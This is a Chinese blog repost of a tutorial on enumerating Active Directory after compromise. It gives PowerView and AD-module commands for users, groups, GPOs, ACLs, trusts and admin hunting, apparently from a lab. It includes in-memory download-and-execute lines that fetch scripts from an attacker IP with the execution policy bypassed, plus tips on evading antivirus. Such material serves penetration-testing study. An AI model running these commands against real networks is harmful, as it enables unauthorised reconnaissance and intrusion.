域信息枚举

2020-05-14 约 481 字 预计阅读 3 分钟

声明:本文 【域信息枚举】 由作者 Twe1ve 于 2020-05-14 08:12:44 首发 先知社区 曾经 浏览数 46 次

感谢 Twe1ve 的辛苦付出!

0x00、前言

域内基本的信息枚举是拿到域内机子之后必不可少的一步,后续操作可以说完全依赖于信息枚举的程度

这里只针对域内信息进行枚举(域用户、域组、ACLs、GPO、OUs、信任关系、一些特殊的账户属性和文件......)

下面列举出Active Directory模块下和使用powerview两种方式进行域内枚举(powerview命令在前,AD的在后,以空行区分)实际情况中域控一般安装有Active Directory模块

0x01、基本模块的导入:

Powerview项目地址:

Import-Module C:\Users\arksvc\Documents\powerview.ps1

ADModule项目地址,不需要安装RSAT即可使用AD模块:

使用dll导入:

Import-Module D:\ADModule-master\ADModule-master\Microsoft.ActiveDirectory.Management.dll -Verbose

或者直接导入ActiveDirectory.ps1

iex (new-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/Import-ActiveDirectory.ps1');Import-ActiveDirectory

因为是微软签名的模块,所以ActiveDirectory能够达到一定程度的免杀效果、powerview直接被defender识别(powerview实际用起来更方便):

加载到内存执行(只能绕过powershell策略,而不能绕过杀软对powerview的检测)

powershell.exe -exec Bypass -C “IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.67:8000/powerview.ps1');Get-NetDomainController"

0x02、枚举:

0x02.1、当前域基本信息枚举

当前域:
Get-NetDomain (获取到域名、域控制器)

Get-ADDomain

列举其他域:

Get-NetDomain -Domain cascade.local

.

Get-ADDomain -Identity cascade.local

当前域sid:

Get-DomainSid

.

(Get-ADDomain).DomainSid

获取当前域策略:(只有powerview有这个模块) -----(系统最小/最大密码长度、Kerberos票据时效等)

Get-DomainPolicy
(Get-DomainPolicy)."System access"
(Get-DomainPolicy)."kerberos policy"

获取其他域策略:(只有powerview有这个模块)

Get-DomainPolicy -Domain  cascade.local
(Get-DomainPolicy -Domain cascade.local)."System access"

定位域控制器:(域控IP、Hostname、操作系统版本等信息)

Get-NetDomainController

.

Get-ADDomainController

定位其他域域控:

Get-NetDomainController -Domain cascade.local

.

Get-ADDomainController  -DomainName cascade.local -Discover

0x02.2、域内用户信息枚举

域用户信息

Get-NetUser
Get-NetUser -Username Administrator

.

Get-ADUser -Filter * -Properties *
Get-ADUser -Identity Administrato  -Properties *

用户属性信息:(灵活过滤,显示想要的信息)

Get-UserProperty
Get-UserProperty -Properties  pwdlastset  (用户最近一次设置密码时间)
Get-Userproperty -Properties badpwdcount   (用户尝试使用错误密码登录帐户的次数。值为0表示该值未知,【可尝试错误登录域中用户,然后查看badpwdcount是否增加,不增加的话存在爆破的可能性】)
Get-Userproperty -Properties logoncount(帐户成功登录的次数。值为0表示该值未知。)

.

Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name
Get-ADUser -Filter * -Properties * | select name,@{expression={[datetime]::fromFileTime($_.pwdlastset)}}
Get-ADUser -Filter * -Properties * | select name,badpwdcount

查找属性中的用户特殊值
Discription 区域有时候会被管理员用于相当于备忘录的功能,能够得到不少有用的信息

Find-UserField -SearchField Description –SearchTerm “built”                 ###获取Built-in account
Find-UserField -SearchField Description –SearchTerm “pass”

.

Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description   
Get-ADUser -Filter 'Description -like "*pass*"' -Properties Description | select name,Description

0x02.3、域内机器信息枚举

获取域内机子信息:

Get-NetComputer
Get-NetComputer -OperatingSystem  "*server 2008*"  (探测特定操作系统机子)
Get-NetComputer -Ping  (ping探测存活主机)
Get-NetComputer -Fulldata

.

Get-ADComputer -Filter * -Proterties *
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter  * -Properties  DNSHostName | %{Test-Connection -Count 1 -Computer $_.DnsHostName}

0x02.4、域内组信息枚举

获取组信息:

Get-NetGroup 
Get-NetGroup -GroupName *admin* ###组名含有admin的组
Get-NetGroup  'Domian Admins' -Fulldata
Get-NetGroup  -domain cascade.local

.

Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name

列出组成员信息:

Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-NetGroup –UserName Administrator

.

Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADPrincipalGroupMembership  -Identity administrator

列出目标机子组及成员信息:(需要管理员权限运行)

Get-NetLocalGroup -ComputerName    CASC-DC1.cascade.local  -Recurse                ###域控组上用户
Get-NetLocalGroup -ComputerName    CASC-DC1.cascade.local  -ListGroups         #域控上的组

目标机子登录用户信息:

Get-NetLoggedon -ComputerName    CASC-DC1.cascade.local       (目标机子上活跃用户,需要管理员权限)
Get-LoggedonLocal -ComputerName    CASC-DC1.cascade.local    (目标机子已登录用户,需要目标机子开启远程注册表功能)
Get-LastLoggedon -ComputerName    CASC-DC1.cascade.local        (目标机子最近登录用户,需要管理权+本机在目标机子开启远程注册表)

0x02.5、域内敏感文件枚举

当前域共享:

Invoke-ShareFinder -Verbose

敏感文件:

Invoke-FileFinder  -Verbose

文件服务:

Get-NetFileServer

0x02.6、GPO & OUs:

(GPO组策略对象可用于提权、后门、权限维持,利用GPO中的计划任务远程执行等)

Red Teamer GPO和OU指南

Group Policy组策略用于集中式管理域内计算机,通过配置组策略可以对域中的用户、用户组、计算机进行不同维度的管理,如安全配置、注册表配置、软件安装配置、开关机与登入登出管理等

GPO组策略对象用于存储这些配置策略(GPO由GPC(组策略容器)和GPT(组策略模板)组成)

OU:是“可用于将大多数其他对象和类出于管理目的组合在一起的通用容器”,组织通常会使用OU来组织基于部门和/或地理位置的实体

获取当前域GPO列表

Get-NetGPO
Get-NetGPO | select displayname
Get-NetGPO -ComputerName CASC-DC1.cascade.local  ##获取目标机器GPO
Get-NetGPOGroup  ###查找groups.xml中的用户
Find-GPOComputerAdmin –Computername  CASC-DC1.cascade.local   ###通过GPO查找目标机器有管理权限的用户
Find-GPOLocation -UserName arksvc   ###通过GPO查找xxxx用户在域内哪些机子有管理员权限

获取域OU:

Get-NetOU -Fulldata

.

Get-ADOrganizationalUnit -Filter * -Properties *

查询应用在某OU上的GPO:

Get-NetGPO -GPOname   '{322FEA29-156D-4476-8A06-1935A3525C1C}'       ###通过Get-NetOU获取到gplink(如上图)

0x02.7、ACL:

(可用于提权、如Exchange、Enterprise Key admins

对域对象有WriteDacl权限===>DCSync (通过为指定用户添加ACE实现)(ACL是一个ACE列表)

ACL是一组规则,用于定义哪些实体对特定AD对象具有哪些权限。这些对象可以是用户帐户,组,计算机帐户,域本身等,ACL分为SACL(System ACL)和DACL(Discretionanly ACL)

对象的ACL中,包含一个访问控制项(ACE),ACE定义了身份和在OU和/或降级对象上应用的相应权限。

通过下面的模型理解他们之间的关系

获得ACL的关联项:

Get-ObjectAcl -SamAccountName Administrator -ResolveGUIDs
Get-ObjectAcl -ADSPrefix 'CN=Administrator,CN=Users' -Verbos

Active Directory模块:

(Get-Acl 'AD:\CN=Administrator,CN=Users,DC=cascade,DC=local').access

通过Ldap进行查询:

Get-ObjectAcl -ADSpath  'LDAP://CN=Administrator,CN=Users,DC=cascade,DC=local'  -ResolveGUIDs  -Verbos

查找ACEs:

Invoke-ACLScanner -ResolveGUIDs

通过特定路径查找ACLs

Get-PathAcl -Path  "\\CASC-DC1.cascade.local\\sysvol"

查找有权限修改ACL的用户

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

0x02.8、域信任枚举

Forest间的域课通过建立信任关系进行跨域访问(存在单向信任、双向信任、父子信任、树根信任以及外部信任)

攻击域信任的指南

Get-NetDomainTrust
Get-NetDomainTrust -Domain CASC-DC1.cascade.local

.

Get-ADTrust 
Get-ADTrust   -Identity CASC-DC1.cascade.local

林:

获取林详情:

Get-NetForest
Get-NetForest -Forest   htb.local

.

Get-ADForest
Get-ADForest -Identity htb.local

获取林内的域:

Get-NetForestDomain
Get-NetForestDomain -Foresr htb.local

.

(Get-ADForest).Domains

当前林目录:

Get-NetForestCatalog

林间信任:

Get-NetForestTrust

0x02.9、用户搜寻:

列出域中当前用户有权限的机器:

Find-LocalAdminAccess -Verbose

(这条命令向域控发出Get-NetComputer获取机器列表,然后在每台机器上执行Invoke-CheckLocalAdminAcess)
Find-LocalAdminAccess不能执行,可用WMI和powershell Remoting等远程管理工具代替探测,(Find-WMILocalAdminAccess.ps1)

查找域内所有机器本地管理员:

Invoke-EnumerateLocalAdmin    ###需要本地管理员权限

(这条命令向域控发出Get-NetComputer获取机器列表,然后在每台机器上执行Get-NetLocalGroup)

查找域管/特定用户/组登录过的机子:

Invoke-UserHunter
Invoke-UserHunter  -Stealth
Invoke-UserHunter  -UserName arksvc
Invoke-UserHunter  -GroupName  "RDP Users"

查找域管理员登录且当前用户有权限的机子

Invoke-UserHunter -CheckAccess

0x03、总结:

这里主要依赖于powershell对域进行信息枚举,从最开始先对域基本信息进行枚举、依借这些进一步枚举到域组、域用户、域策略、ACL、等关键信息,层层递进,最后信息整合,增大攻击面,为域内横向、域控提权提供必要的信息支撑。powershell的便捷和隐蔽性无疑是一大助力

看一些国外大牛的案例中,一些很难拿下的域控,最后通过这些收集的信息整合最后拼凑出一条路的案例直通DC的也有。

powerview功能丰富且便捷,但也由于太过于出名,早已经被加入黑名单,可自行修改函数尝试绕过。实在不行这里还有微软签名的Actice Directory供君选择

链接:
https://mlcsec.com/active-directory-domain-enumeration/#
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview
https://0xdarkvortex.dev/index.php/2019/01/01/active-directory-penetration-dojo-ad-environment-enumeration-1/
https://blog.riskivy.com/fun_with_acl_and_gpo/

关键词:[‘渗透测试’, ‘渗透测试’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now